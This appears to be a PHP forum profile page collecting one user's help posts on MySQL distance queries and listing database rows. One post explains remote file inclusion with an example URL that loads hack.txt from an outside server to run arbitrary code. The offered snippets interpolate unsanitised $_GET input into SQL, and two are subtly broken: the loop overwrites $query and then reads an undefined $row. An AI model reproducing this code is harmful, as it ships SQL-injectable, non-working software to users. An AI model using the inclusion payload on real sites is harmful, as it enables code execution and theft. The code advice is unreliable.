Jump to content

BK87

Members
  • Posts

    147
  • Joined

  • Last visited

Posts posted by BK87

  1. if your using mysql you can try...

    $lat/$lon has to be the point from which you want to locate... 
    $miles=10; or how many miles you want to radius... 
    and just limit the result to 15.... 
    SELECT ((ACOS(SIN($lat * PI() / 180) * SIN(lat * PI() / 180) + COS($lat * PI() / 180) * COS(lat * PI() / 180) * COS(($lon - lon) * PI() / 180)) * 180 / PI()) * 60 * 1.1515) AS distance FROM members HAVING distance<='$miles' ORDER BY distance ASC
    

    (code I found on google)

  2. back in the back people use to

    that code above is very bad! security issues!

     

    Care to elaborate?

     

    okay... back in the day about 5-7 years ago, php nuke use to use that type of format for some of their file extentions, and I've had to clean up after their bad work because people would inject a file from their own server...

     

    let me explain how it works...

    hack code will be in file called hack.txt

    your url will read...

    http://www.site.com/page.php?template=index.php

    all I would have to do is...

    http://www.site.com/page.php?template=http://www.mysite.com/hack.txt&run=what ever code I want...

     

    its simple security issue... if you include you are including a text file which has php in it, and it works just like a regular php file on your server, leaving exploits all over the place. access to password file anything you want.

     

     

     

    ----

     

    apologize, I miss read your code, its some what security proof although not a way I would do it.

  3. well first you would have to list the item... then you would have to pull it back... so if your url requests lets just say ?id=1

     

    your code would be

    if($_GET["id"]!=NULL){
    $query=mysql_query("select * from posting where id='$_GET[id]'");
    while($query=mysql_fetch_array($query)){
    echo $row["subject"].": ".$row["p0sting"]." by ".$row["user_id"]."<br>\n";
    }
    }
    

  4. $query=mysql_query("select * from posting order by id desc");
    while($query=mysql_fetch_array($query)){
    echo $row["subject"].": ".$row["p0sting"]." by ".$row["user_id"]."<br>\n";
    }
    

     

    that is a simple query, notice I put * on the query, that will select ALL information available from that table, rather than type,rows... also the order the posting will how will be newest posts first (larger numbers) as ID is increment it will grow with new posting.

     

    enjoy

     

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.